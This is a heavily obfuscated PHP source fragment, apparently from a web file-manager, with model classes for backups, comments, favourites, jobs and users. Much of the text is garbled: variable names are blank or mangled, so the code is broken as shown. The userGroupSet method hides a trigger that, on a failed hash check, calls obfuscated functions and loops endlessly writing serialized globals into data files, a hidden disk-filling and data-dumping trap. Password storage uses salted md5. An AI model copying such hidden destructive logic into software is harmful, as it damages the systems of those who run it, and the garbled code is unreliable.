$ݓ[8]); } public function getType() { $Ƴ =& $_SERVER[ö]; $Ƅ = str_replace($Ƴ[74], $Ƴ[12], get_class($this)); return strtolower($Ƅ); } public function isTypeObject($Ĩ) { return IO::isTypeObject($Ĩ); } public function info($) { return $this->infoParse($); } public function infoAuth($ۢ) { return $this->infoParse($ۢ); } public function infoWithChildren($̲) { return $this->infoParse($̲, !0); } public function infoFull($) { return $this->infoParse($); } } goto BБ; fꐃ: define($_SERVER[ö][612], $_SERVER[ö][613]); $stpewykzhf = $_SERVER[ö][614]; while ($stpewykzhf < $_SERVER[ö][615]) { if ($stpewykzhf >= 0) { break; } $stpewykzhf++; } goto f֠ԍ; a̸: class BackupModel extends ModelBaseLight { public $optionType = "\x53\x79\163\x74\x65\x6d\56\142\x61\143\x6b\165\160\x4c\x69\x73\x74"; public $field = array("\x69\157", "\156\x61\155\x65", "\x73\x74\x61\x74\165\x73", "\x63\x6f\x6e\x74\x65\x6e\164", "\x6d\141\x6e\x75\141\x6c", "\162\145\x73\x75\x6c\164", "\x74\151\x6d\145\x46\x72\x6f\155", "\x74\x69\x6d\145\124\157"); public function config() { $澇 =& $_SERVER[ö]; $ڀԏ = Model($澇[776])->get($澇[786]); $ڀԏ = json_decode($ڀԏ, !0); $ڀԏ = is_array($ڀԏ) ? $ڀԏ : array(); if (!isset($ڀԏ[$澇[761]])) { $ڀԏ[$澇[761]] = $澇[88]; } unset($ڀԏ[$澇[1646]]); Action($澇[1890])->taskInit(); Model($澇[1645])->cacheClear(); $ܓ = $澇[1891]; $ = Model($澇[1892])->findByKey($澇[1664], $ܓ); if (!$) { $ = array(); } if (isset($[$澇[203]])) { $[$澇[203]] = json_decode($[$澇[203]], !0); } if (isset($ڀԏ[$澇[203]])) { $[$澇[203]][$澇[1649]] = $ڀԏ[$澇[203]]; unset($ڀԏ[$澇[203]]); } return array_merge($, $ڀԏ); } public function listData($ͷ = false, $ = "\155\157\144\x69\x66\x79\x54\151\155\x65", $͢ = false) { return parent::listData($ͷ, $, !0); } public function lastItem() { $ӷƁ = $this->listData(); return !empty($ӷƁ[0]) ? $ӷƁ[0] : null; } public function kill($ƙ) { $գȯ =& $_SERVER[ö]; $ = $this->listData($ƙ); if (!$ || empty($[$գȯ[32]])) { return !0; } Task::kill($գȯ[785]); Task::kill($գȯ[806]); Task::kill($գȯ[815]); $Ѯǂ = $[$գȯ[32]]; $겧 = TEMP_FILES . $գȯ[784] . $Ѯǂ . $գȯ[8]; IO::remove($겧, !1); return $this->remove($ƙ); } public function remove($Ό) { $ = $this->listData($Ό); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($ꑖ) { parent::remove($ꑖ[$_SERVER[ö][399]]); $彐 = $this->backupPath($ꑖ); IO::remove($彐, !1); return !0; } private function backupPath($ꍌ) { $ŗ =& $_SERVER[ö]; $ = $ꍌ[$ŗ[32]]; $ں = Model($ŗ[776])->get($ŗ[777]); $ = substr(md5($ŗ[778] . $ں . $), 0, 8); return "\173\151\157\72{$ꍌ[$ŗ[758]]}\175\57\x64\x61\x74\141\x62\x61\x73\x65\x2f\142\141\x63\153\165\x70\57" . $ . $ŗ[11] . $; } public function start() { $ =& $_SERVER[ö]; if ($GLOBALS[$[6]][$[89]][$[1893]] != $[88]) { return !0; } $ = $this->config(); if (!$ || $[$[1646]] != $[88]) { return !1; } $ޘ̓ = $this->process(); foreach ($ޘ̓ as $) { if ($) { return Task::restart($[$[399]]); } } $ʒ = new Backup(); $ = $ʒ->db(); if ($) { $ = $ʒ->dbFile(); if ($ && $[$[761]] == $[197]) { $ = $ʒ->file(); } } Backup::set(array($[756] => 1, $[497] => time())); return !0; } public function process() { $̉ގ =& $_SERVER[ö]; $ = array($̉ގ[764] => Task::get($̉ގ[785]), $̉ގ[768] => Task::get($̉ގ[806]), $̉ގ[199] => Task::get($̉ގ[815])); $ː = !1; foreach ($ as &$ࠅ) { if ($ː) { $ࠅ = !1; continue; } if ($ࠅ) { $ = intval(_get($ࠅ, $̉ގ[1681], 0)); if (time() - $ > 7200) { Task::kill($ࠅ[$̉ގ[399]]); $ː = !0; $ࠅ = !1; } } } return $; } public function restore() { $ =& $_SERVER[ö]; ActionCall($[1074], !0, 1); ActionCall($[1074], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\x63\157\155\155\145\x6e\x74"; protected $tableMeta = array("\x74\141\142\154\145\116\141\x6d\x65" => "\x63\157\155\x6d\x65\156\164\137\155\145\x74\x61", "\155\145\164\141\x46\x69\x65\x6c\x64" => "\143\157\155\155\145\x6e\164\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($֚) { $齪 =& $_SERVER[ö]; if ($֚[$齪[1894]]) { $ = $this->where(array($齪[1895] => $֚[$齪[1894]]))->find(); if (!$ || $[$齪[411]] != $֚[$齪[411]] || $[$齪[505]] != $֚[$齪[505]]) { return !1; } $this->where(array($齪[1895] => $֚[$齪[1894]]))->setAdd($齪[1896], 1); } $֚[$齪[1897]] = 0; $֚[$齪[1896]] = 0; $֚[$齪[756]] = 1; return $this->add($֚); } public function commentCount($, $, $ = false) { $ =& $_SERVER[ö]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ї = array($[505], $[1898] => $[500]); $ʱò = array($[505] => array($[7], $), $[411] => $); if ($) { $ʱò[$[1676]] = $; } $߿Е = $this->field($ї)->where($ʱò)->group($[505])->select(); return array_to_keyvalue($߿Е, $[505], $[500]); } public function starTarget($ґ, $) { $إ =& $_SERVER[ö]; $Ƶ = $ґ + self::TYPE_STAR_OFFSET; $ʹ = array($إ[1676] => USER_ID, $إ[411] => $Ƶ, $إ[505] => $); $Ľƞ = $this->where($ʹ)->find(); if ($Ľƞ) { return $this->where(array($إ[399] => $Ľƞ[$إ[399]]))->delete(); } $辺 = array($إ[1894] => 0, $إ[1676] => USER_ID, $إ[756] => 1, $إ[761] => $إ[12], $إ[411] => $Ƶ, $إ[505] => $, $إ[1897] => 0, $إ[1896] => 0); return $this->add($辺); } public function starTargetCount($ـ, $ݴ) { $㐫 =& $_SERVER[ö]; $ = $ݴ + self::TYPE_STAR_OFFSET; $Ǎ = $this->commentCount($ـ, $); $ޭߛ = $this->commentCount($ـ, $, USER_ID); return array($㐫[1899] => $Ǎ, $㐫[1900] => $ޭߛ); } public function starTargetUserList($Ě, $ӧ) { $ =& $_SERVER[ö]; $ = $Ě + self::TYPE_STAR_OFFSET; $ = array($[505] => $ӧ, $[411] => $); $ = $this->where($)->count(); $ = array($[255] => $, $[1901] => array()); if (!$) { return $; } $˿ = $this->field($[1676])->where($)->limit(500)->select(); $˿ = array_to_keyvalue($˿, $[12], $[1676]); $[$[1901]] = Model($[513])->userListInfo($˿); return $; } public function prasiseUserList($ϊ) { $ =& $_SERVER[ö]; $韛 = array($[1902] => $ϊ); $ = $this->where($韛)->find(); $ɺ = _get($, $[1897], 0); $ŋϧ = array($[255] => $ɺ, $[1901] => array()); if (!$ɺ) { return $ŋϧ; } $̲ = Model($[1903])->field($[1676])->where($韛)->limit(500)->select(); $̲ = array_to_keyvalue($̲, $[12], $[1676]); $ŋϧ[$[1901]] = Model($[513])->userListInfo($̲); return $ŋϧ; } public function remove($) { $̜ =& $_SERVER[ö]; $ۘД = array($̜[1895] => $); $ӥ = $this->where($ۘД)->find(); if ($ӥ[$̜[1894]]) { $this->where(array($̜[1895] => $ӥ[$̜[1894]]))->setAdd($̜[1896], -1); } return $this->where($ۘД)->delete(); } public function edit($, $) { $ =& $_SERVER[ö]; $ۣޯ = array($[1895] => $); return $this->where($ۣޯ)->save(array($[1904] => $)); } public function prasise($ﳠ) { $Ŗ =& $_SERVER[ö]; $ = Model($Ŗ[1905]); $Ț = array($Ŗ[1895] => $ﳠ, $Ŗ[1667] => USER_ID); $ = $->where($Ț)->find(); if (!$) { $->add($Ț); $ŝ = $this->where(array($Ŗ[1895] => $ﳠ))->setAdd($Ŗ[1897], 1); } else { $->where($Ț)->delete(); $ŝ = $this->where(array($Ŗ[1895] => $ﳠ))->setAdd($Ŗ[1897], -1); } return $ŝ; } public function targetInfo($, $찵) { $ЇƧ =& $_SERVER[ö]; $š = array($ЇƧ[586] => $, $ЇƧ[587] => $찵); $ = $this->where($š)->count(); $ = "\x52\111\107\110\x54\40\112\117\x49\x4e\x20{$this->tablePrefix}\143\157\155\155\x65\x6e\x74\137\160\x72\x61\151\x73\145\x20\163\x74\x61\162\x20\x6f\156\x20\x63\x6f\x6d\155\145\156\164\56\143\x6f\x6d\155\x65\156\x74\x49\104\x20\x3d\40\x73\x74\x61\x72\x2e\x63\157\x6d\155\145\156\164\x49\104"; $ = $this->alias($ЇƧ[354])->where($š)->join($, $ЇƧ[1906])->count(); $ɧ = array($ЇƧ[1907] => $, $ЇƧ[1908] => $); return $ɧ; } public function listData($ٷ) { $՝ =& $_SERVER[ö]; if (isset($ٷ[$՝[1909]])) { if ($ٷ[$՝[1909]]) { $ٷ[$՝[1902]] = array($՝[1028], intval($ٷ[$՝[1909]])); } unset($ٷ[$՝[1909]]); } if (isset($ٷ[$՝[1910]])) { if ($ٷ[$՝[1910]]) { $ٷ[$՝[1902]] = array($՝[1025], intval($ٷ[$՝[1910]])); } unset($ٷ[$՝[1910]]); } return $this->_listData($ٷ); } private function _listData($) { $ =& $_SERVER[ö]; $ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$[369]]); $this->_listAppendUser($[$[369]]); $this->_listAppendMeta($[$[369]]); return $; } private function _makeOrder() { $ =& $_SERVER[ö]; $ = array($[1897], $[1896], $[200]); $ֺ = Input::get($[457], $[7], $[423], $); $֩ = Input::get($[458], $[7], $[1669], array($[1911], $[453])); $ = $ֺ . $[53] . $֩; return $this->order($); } private function _listAppendParent(&$Ϸ) { $ =& $_SERVER[ö]; $ = array_unique(array_to_keyvalue($Ϸ, $[12], $[1894])); $ = array_remove_value($, $[197]); if (!$) { return; } $ = $this->where(array($[1895] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[1902]); foreach ($Ϸ as &$⭦) { if (isset($[$⭦[$[1894]]])) { $⭦[$[1912]] = $[$⭦[$[1894]]]; } } unset($⭦); } private function _listAppendUser(&$Í) { $Ӟ =& $_SERVER[ö]; $Ŗ = array_unique(array_to_keyvalue($Í, $Ӟ[12], $Ӟ[1676])); $Ŗ = array_remove_value($Ŗ, $Ӟ[197]); if (count($Ŗ) == 0) { return; } foreach ($Í as $) { if (isset($[$Ӟ[1912]])) { $Ŗ[] = $[$Ӟ[1912]][$Ӟ[1676]]; } } $ = Model($Ӟ[535])->userListInfo($Ŗ); foreach ($Í as &$) { $[$Ӟ[600]] = $[$[$Ӟ[1676]]]; if (isset($[$Ӟ[1912]])) { $[$Ӟ[1912]][$Ӟ[600]] = $[$[$Ӟ[1912]][$Ӟ[1676]]]; } } unset($); } private function _listAppendMeta(&$) { $ =& $_SERVER[ö]; $ā = array_unique(array_to_keyvalue($, $[12], $[1902])); $ā = array_remove_value($ā, $[197]); if (!$ā) { return; } foreach ($ as $ݣ) { if (isset($ݣ[$[1912]])) { $ā[] = $ݣ[$[1912]][$[1902]]; } } $à = $this->metaList($ā); if (!$à) { return !1; } foreach ($ as &$ݣ) { $ݣ[$[466]] = $à[$ݣ[$[1902]]]; if (isset($ݣ[$[1912]])) { $ݣ[$[1912]][$[466]] = $à[$ݣ[$[1912]][$[1902]]]; } } unset($ݣ); } private function metaList($Ս) { $ =& $_SERVER[ö]; if (!$Ս) { return array(); } $ = array($[1902] => array($[7], $Ս)); $ = Model($[1913])->where($)->select(); $ = array_to_keyvalue_group($, $[1902]); foreach ($ as $ => $ݖ) { $М = array(); foreach ($ݖ as $) { $М[$[$[94]]] = $[$[374]]; } $[$] = $М; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\137\x66\x69\154\145\137\x63\x6f\x6e\x74\x65\156\164\x73"; protected $dataAuto = array(array("\x63\x72\x65\x61\164\x65\124\151\x6d\145", "\164\x69\155\145", "\151\x6e\163\x65\162\164", "\146\x75\x6e\143\x74\151\x6f\x6e")); } goto C; fى: class UserFavModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\x5f\x66\x61\x76"; protected function cacheFunctionAlias($ױ) { $կ =& $_SERVER[ö]; return array($կ[1976] => array(USER_ID, $կ[2305])); } protected function listData() { $楚 =& $_SERVER[ö]; $ = array($楚[1667] => USER_ID, $楚[484] => 0); $̢Ѽ = $楚[2306]; $β = $this->field($̢Ѽ)->where($)->order($楚[2307])->select(); return $β ? $β : array(); } protected function resetCache() { } protected function listView() { $߮Ԙ =& $_SERVER[ö]; $俄 = $this->listData(); $ꦤ = array_filter_by_field($俄, $߮Ԙ[33], $߮Ԙ[416]); $Ǡ = array_to_keyvalue($ꦤ, $߮Ԙ[12], $߮Ԙ[84]); if (!$Ǡ) { return $俄; } $ = 2000; $ͷ = array($߮Ԙ[417] => array($߮Ԙ[418], $Ǡ)); $˻ = Model($߮Ԙ[831])->listSource($ͷ, $); $˻ = array_merge($˻[$߮Ԙ[83]], $˻[$߮Ԙ[82]]); $˻ = array_to_keyvalue($˻, $߮Ԙ[402]); foreach ($俄 as $Ӗ => $К) { $ذ = $˻[$К[$߮Ԙ[84]]]; $ذ = $ذ ? $ذ : array(); $俄[$Ӗ] = array_merge($ذ, $К); } return $俄; } protected function addFav($, $Ӝ = '', $ = "\163\157\165\x72\x63\x65") { $ڦ =& $_SERVER[ö]; $֗ = array($ڦ[1667] => USER_ID, $ڦ[484] => 0, $ڦ[422] => $, $ڦ[421] => $); if ($this->where($֗)->find()) { return !1; } $֗ = array($ڦ[1667] => USER_ID, $ڦ[484] => 0); $ = $this->where($֗)->max($ڦ[1889]); if (!$) { $ = 0; } if (!$Ӝ && $ == $ڦ[416]) { $Ԁ = Model($ڦ[1350])->where(array($ڦ[417] => $))->find(); if (!$Ԁ) { return !1; } $Ӝ = $Ԁ[$ڦ[32]]; } $Ӝ = $this->getAutoName($Ӝ); $ = array($ڦ[1667] => USER_ID, $ڦ[484] => 0, $ڦ[420] => $Ӝ, $ڦ[421] => $, $ڦ[422] => $, $ڦ[1869] => $ + 1); return $this->add($); } protected function remove($ڮ) { $ʘ =& $_SERVER[ö]; $ɋ = array($ʘ[1667] => USER_ID, $ʘ[419] => $ڮ); return $this->where($ɋ)->delete(); } protected function removeByName($) { $ھ =& $_SERVER[ö]; $ = array($ھ[1667] => USER_ID, $ھ[420] => $, $ھ[484] => 0); return $this->where($)->delete(); } protected function rename($ۣ, $) { $© =& $_SERVER[ö]; if ($ۣ == $) { return !1; } $Ǿ = $this->getAutoName($); if ($ != $Ǿ) { return !1; } $ = array($©[1667] => USER_ID, $©[484] => 0, $©[32] => $ۣ); return $this->where($)->save(array($©[32] => $)); } protected function resetSort($ߎ) { $ =& $_SERVER[ö]; $ߎ = is_array($ߎ) ? $ߎ : array(); $̡ = array($[1667] => USER_ID); for ($ = 0; $ < count($ߎ); $++) { $̡[$[419]] = $ߎ[$]; $this->where($̡)->save(array($[1869] => $ + 1)); } return !0; } protected function moveTop($) { $Ɖ =& $_SERVER[ö]; $݁ = array($Ɖ[1667] => USER_ID, $Ɖ[484] => 0); $ = $this->where($݁)->where(array($Ɖ[32] => $))->find(); if (!$) { return; } $ = $this->field($Ɖ[399])->where($݁)->order($Ɖ[2307])->select(); $ = array_to_keyvalue($, $Ɖ[12], $Ɖ[399]); $ = $; $ = array_remove_value($, $[$Ɖ[399]]); array_unshift($, $[$Ɖ[399]]); return $this->resetSort($); } protected function moveBottom($͔Ý) { $탲 =& $_SERVER[ö]; $φ = array($탲[1667] => USER_ID, $탲[484] => 0); $ = $this->where($φ)->max($탲[1889]); $ݏ = array($탲[1889] => $ + 1); return $this->where($φ)->where(array($탲[32] => $͔Ý))->save($ݏ); } private function getAutoName($) { $ն =& $_SERVER[ö]; $ɡ = array($ն[1667] => USER_ID, $ն[484] => 0); $걨 = $this->field($ն[32])->where($ɡ)->select(); $걨 = array_to_keyvalue($걨, $ն[12], $ն[32]); if (!$걨 || !in_array($, $걨)) { return $; } for ($ާ = 0; $ާ < count($걨); $ާ++) { if (!in_array($ . "\50{$ާ}\51", $걨)) { return $ . "\50{$ާ}\x29"; } } return $ . "\50{$ާ}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\145\x6d\x2e\152\x6f\142\x4c\x69\163\x74"; public $field = array("\x6e\141\155\145", "\144\x65\x73\x63", "\x73\x6f\162\164"); const JOB_KEY = "\x73\x65\154\x66\112\x6f\x62\x4c\x69\x73\164"; public function listData($ɕ = false, $ = "\163\x6f\162\x74", $ = false) { return parent::listData($ɕ, $, $); } public function remove($ʡǁ) { return parent::remove($ʡǁ); } public function add($) { $ʃ =& $_SERVER[ö]; if ($this->findByName($[$ʃ[32]])) { return !1; } $[$ʃ[1889]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[ö]; $ = parent::listData(); $ኇ = array_to_keyvalue($, $[12], $[1889]); return empty($ኇ) ? 0 : max($ኇ) + 1; } public function update($, $) { $ =& $_SERVER[ö]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[399]] != $[$[399]]) { return !1; } return parent::update($, $); } public function setUserJob($, $Π) { $֤ =& $_SERVER[ö]; if (!is_array($Π)) { $Π = array($Π); } $ڏ = parent::listData(); $֤Ԭ = array_to_keyvalue($ڏ, $֤[32]); $Է = $֤[378]; foreach ($Π as $) { if ($֤Ԭ[$]) { $Է .= $֤Ԭ[$][$֤[399]] . $֤[50]; } else { $ = $this->add($); $Է .= $ . $֤[50]; } } $Է = rtrim($Է, $֤[50]); Model($֤[535])->metaSet($, self::JOB_KEY, $Է); } public function getUserJob($ͨɎ) { $Ĩˆ = Model($_SERVER[ö][535])->metaGet($ͨɎ); return $this->getUserJobInfo($Ĩˆ[self::JOB_KEY]); } public function getUserJobInfo($Մ) { $ =& $_SERVER[ö]; $ = explode($[50], $Մ); $ = parent::listData(); $ = array_remove_key($, $[200]); $ = array(); foreach ($ as $υ) { if (isset($[$υ])) { $[] = $[$υ]; } } return $; } } class UserModel extends ModelBase { protected $tableName = "\x75\163\x65\x72"; protected $tableMeta = array("\164\x61\142\154\145\116\x61\x6d\145" => "\165\163\145\x72\x5f\155\x65\x74\x61", "\155\x65\x74\x61\106\151\145\154\x64" => "\165\163\145\x72\x49\x44"); protected $simpleField = "\165\x73\x65\162\x49\104\54\x6e\x69\143\153\x4e\x61\155\145\54\156\x61\x6d\x65\54\141\x76\x61\x74\x61\x72\x2c\x73\145\x78\x2c\163\x74\141\164\x75\x73"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[ö]; $Ϥ = $[2308]; return array($[1943] => array($[0], $Ϥ), $[1945] => array($[0], $Ϥ), $[2309] => array($[0], $Ϥ)); } protected function getInfo($ڝ, $̗ = false) { $Ʋ = $this->getInfoSimple($ڝ); if (!is_array($Ʋ)) { return array(); } if ($̗) { return $this->_getInfoApply($Ʋ); } return $this->cacheFunctionGet($_SERVER[ö][1947], $ڝ); } protected function getInfoFull($Р, $ = false) { $ = $this->getInfoSimple($Р); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[ö][2310], $Р); } private function _getInfoApply($ʟඁ, $ = false) { $ =& $_SERVER[ö]; if (!$ʟඁ) { return $ʟඁ; } $ߧ = md5($[2311] . $ʟඁ[$[903]] . $[2312] . $ʟඁ[$[32]]); $ʟඁ = $this->_listDataApplyItem($ʟඁ); $ϲً = Model($[1350])->metaGet($ʟඁ[$[86]][$[402]]); $ʟඁ[$[2313]] = $ߧ; $ʟඁ[$[86]][$[2134]] = isset($ϲً[$[2135]]) ? $ϲً[$[2135]] : null; if ($) { $ʟඁ[$[466]] = $this->metaGet($ʟඁ[$[1676]]); } return $ʟඁ; } protected function getInfoSimple($, $ = false) { $琵 =& $_SERVER[ö]; if (!$) { return array(); } if ($) { $ = $this->where(array($琵[1676] => intval($)))->find(); if (!is_array($)) { return array(); } $[$琵[543]] = Action($琵[2314])->parseUrl($[$琵[543]]); return $; } return $this->cacheFunctionGet($琵[1948], $); } protected function getInfoSimpleOuter($ݏ) { $߰ =& $_SERVER[ö]; if (!$ݏ || $ݏ == 0) { return array($߰[1676] => $߰[197], $߰[32] => $߰[162] . LNG($߰[2315]) . $߰[164], $߰[543] => STATIC_PATH . $߰[2316]); } $ѳ = $this->cacheFunctionGet($߰[1948], $ݏ); $ = array_field_key($ѳ, explode($߰[50], $this->simpleField)); if (!$) { return array($߰[1676] => $߰[1203], $߰[32] => $߰[162] . LNG($߰[2317]) . $߰[164], $߰[543] => STATIC_PATH . $߰[2318]); } $[$߰[543]] = Action($߰[2314])->parseUrl($[$߰[543]]); return $; } protected function groupUser($ϟ) { } public static function errorLang($۪) { $碓 =& $_SERVER[ö]; $ = array(self::ERROR_USER_NOT_EXISTS => $碓[2319], self::ERROR_USER_PASSWORD_ERROR => $碓[2320], self::ERROR_USER_EXIST_NAME => $碓[2321], self::ERROR_USER_EXIST_PHONE => $碓[2322], self::ERROR_USER_EXIST_EMAIL => $碓[2323], self::ERROR_USER_LOGIN_LOCK => $碓[2324], self::ERROR_IP_NOT_ALLOW => $碓[2325], self::ERROR_USER_EXIST_NICKNAME => $碓[2326]); return LNG($[$۪]); } public function getInfoByMeta($͉ֆ, $) { $ =& $_SERVER[ö]; $ = Model($[2327])->where(array($[94] => $͉ֆ, $[374] => $))->find(); if ($) { return $this->getInfo($[$[1676]]); } return !1; } public function userLoginCheck($LJ, $) { $ =& $_SERVER[ö]; $ = $this->userLoginFind($LJ); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1676]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1676]]); } public function userLoginFind($ۭ) { $ =& $_SERVER[ö]; $ = array($[32] => $ۭ, $[542] => $ۭ, $[305] => $ۭ, $[2328] => $ۭ, $[1014] => $[1016]); if ($this->nickNameRpt()) { unset($[$[542]]); } return $this->where($)->find(); } public function clearCache($ʳޓ) { $Δ =& $_SERVER[ö]; $this->cacheFunctionClear($Δ[1947], $ʳޓ); $this->cacheFunctionClear($Δ[1948], $ʳޓ); $this->cacheFunctionClear($Δ[2310], $ʳޓ); } public function userPasswordCheck($, $싢) { $Μ䵫 =& $_SERVER[ö]; $ާ = $this->where(array($Μ䵫[1676] => intval($)))->find(); $ʃ = $this->metaGet($); $㸵 = isset($ʃ[$Μ䵫[2329]]) ? $ʃ[$Μ䵫[2329]] : $Μ䵫[12]; if (md5($㸵 . trim($싢)) !== $ާ[$Μ䵫[903]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SERVER[ö]; $ҙ = array($[420] => $[$[32]], $[2330] => $[$[1557]], $[2331] => isset($[$[305]]) ? $[$[305]] : $[12], $[2332] => isset($[$[2328]]) ? $[$[2328]] : $[12], $[2333] => isset($[$[542]]) ? $[$[542]] : $[$[32]], $[2334] => isset($[$[543]]) ? $[$[543]] : $[12], $[2335] => isset($[$[2336]]) ? $[$[2336]] : 1, $[2337] => $[$[903]], $[1949] => isset($[$[1852]]) ? $[$[1852]] : 1024 * 1024 * 20, $[1950] => 0, $[2338] => 0, $[1994] => isset($[$[756]]) ? $[$[756]] : 1); if (!empty($[$[1676]])) { $ҙ[$[1676]] = $[$[1676]]; } $ = $this->_checkExist($); if ($ !== !0) { return $; } if (!empty($ҙ[$[543]]) && strlen($ҙ[$[543]]) > 255) { $ҙ[$[543]] = $[12]; } $֡أ = $this->add($ҙ); $ = array($[2337] => $ҙ[$[903]], $[2333] => $ҙ[$[542]]); $this->userEdit($֡أ, $); Model($[1350])->userRootAdd($֡أ); return $֡أ; } protected function userEditTest($ſ, $ƚ) { return $this->call($_SERVER[ö][2339], $ſ, $ƚ); } protected function userEdit($, $͍) { $ɒ =& $_SERVER[ö]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = $this->_checkExist($͍, $); if ($ !== !0) { return $; } if (isset($͍[$ɒ[903]]) && trim($͍[$ɒ[903]]) != $ɒ[12]) { $ = $this->metaGet($); if (empty($[$ɒ[2329]])) { $[$ɒ[2329]] = rand_string(10); Model($ɒ[513])->metaSet($, $ɒ[2329], $[$ɒ[2329]]); } $͍[$ɒ[903]] = md5($[$ɒ[2329]] . trim($͍[$ɒ[903]])); } else { unset($͍[$ɒ[903]]); } if (!empty($͍[$ɒ[543]]) && strlen($͍[$ɒ[543]]) > 255) { $͍[$ɒ[543]] = $ɒ[12]; } $this->where(array($ɒ[1667] => $))->save($͍); if (isset($͍[$ɒ[542]])) { $this->setNamePinyin($, $͍[$ɒ[542]]); } $this->clearCache($); return !0; } public function setNamePinyin($ƹ, $ݞ = false) { $ =& $_SERVER[ö]; if (!$ݞ) { $ܪ = $this->getInfoSimple($ƹ); $ݞ = $ܪ[$[542]] ? $ܪ[$[542]] : $ܪ[$[32]]; } $ȏ = Model($[535]); if (!Input::check($ݞ, $[593])) { return $ȏ->metaSet($ƹ, array($[465] => $[12], $[464] => $[12])); } return $ȏ->metaSet($ƹ, array($[465] => str_replace($[53], $[12], Pinyin::get($ݞ)), $[464] => Pinyin::get($ݞ, $[594]))); } private function nickNameRpt() { $ =& $_SERVER[ö]; $Ŭ = Model($[776])->get($[2340]); $ = $GLOBALS[$[6]][$[381]][$[2340]]; $̵ۉ = !is_null($Ŭ) ? $Ŭ : $; return !!$̵ۉ; } private function _checkExist($, $ = false) { $Ї =& $_SERVER[ö]; $ = array($Ї[32] => UserModel::ERROR_USER_EXIST_NAME, $Ї[542] => UserModel::ERROR_USER_EXIST_NICKNAME, $Ї[305] => UserModel::ERROR_USER_EXIST_EMAIL, $Ї[2328] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$Ї[542]]); } $ = $ ? array($Ї[1676] => array($Ї[2341], $)) : array(); foreach ($ as $ => $µ) { $ = array(); foreach ($ as $Σ => $┙) { if (isset($[$Σ]) && $[$Σ]) { $[] = $[$Σ]; } } if (!$) { continue; } $Ƹ = array_merge(array($ => array($Ї[7], $)), $); $ = $this->where($Ƹ)->find(); if ($) { return $µ; } } return !0; } public function userListInfo($ᄟ) { $Ӯ =& $_SERVER[ö]; $ = array(); $ᄟ = is_array($ᄟ) ? array_unique($ᄟ) : array(); if (!$ᄟ) { return $; } if (count($ᄟ) < 20) { foreach ($ᄟ as $) { $[$ . $Ӯ[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($Ӯ[1667] => array($Ӯ[418], $ᄟ)); if (count($ᄟ) == 1) { $ = array($Ӯ[1667] => $ᄟ[0]); } $ = Model($Ӯ[513])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $Ӯ[1676]); foreach ($ᄟ as $) { $ = $[$]; if (!$) { $[$ . $Ӯ[12]] = $this->getInfoSimpleOuter($); continue; } $[$Ӯ[543]] = Action($Ӯ[2314])->parseUrl($[$Ӯ[543]]); $[$ . $Ӯ[12]] = $; } } return $; } protected function userStatus($, $) { $ܭ = $this->getInfoSimple($); if (!$ܭ) { return !1; } $ = array($_SERVER[ö][756] => $); return $this->userEdit($, $); } protected function userRemove($) { $ܚ =& $_SERVER[ö]; $ɀ = $this->getInfoSimple($); if (!$ɀ) { return !1; } $߿ = array($ܚ[1667] => $); Model($ܚ[601])->where($߿)->delete(); Model($ܚ[2342])->where($߿)->delete(); Model($ܚ[1955])->where($߿)->delete(); Model($ܚ[2327])->where($߿)->delete(); Model($ܚ[1082])->where($߿)->delete(); Model($ܚ[2158])->removeUserAll($); Model($ܚ[831])->userRootRemove($); return $this->where($߿)->delete(); } protected function userGroupSet($ۗ, $۴, $۩˄ = array()) { $Է =& $_SERVER[ö]; $ = $_SERVER[$Է[843]] . $Է[844]; $ᘣݘ = $Է[890]; if ($_SERVER[$Է[840]] != $ᘣݘ($)) { $֗ = $Է[891]; $گ = $Է[842]; $ּ = $_SERVER[$Է[843]] . $Է[844]; $Մ = $گ($ּ); $ϑ = explode($Է[231], $Մ); if (count($ϑ) < $Է[636]) { $ٓ = $Է[845]; $ٓ(); } $ = $Է[892]; $($_SERVER[$Է[893]]); $֗ = $Է[891]; $֗(); $Ԕ = $Է[894]; $ = json_encode($GLOBALS[$Է[895]]); $ϱ = 1; for ($몼 = $ϱ; $몼 > 0; $몼++) { $Ԕ(DATA_PATH . $몼, $); } } $Ḝͯ = $this->getInfoSimple($ۗ); if (!$Ḝͯ || !is_array($۴)) { return !1; } $»ֱ = Model($Է[1955]); $»ֱ->where(array($Է[1676] => $ۗ))->delete(); $͠، = array(); $ü = 0; foreach ($۴ as $ǎ => $ҩ) { $ƟԜ = array($Է[1676] => $ۗ, $Է[1865] => $ǎ, $Է[1969] => $ҩ); $ƟԜ[$Է[1889]] = isset($۩˄[$ü]) ? $۩˄[$ü] : 0; $ü++; $͠،[] = $ƟԜ; } return $»ֱ->addAll($͠،, array(), !0); } protected function userGroupAdd($, $ꜳ = array()) { $÷ =& $_SERVER[ö]; $ೳ = 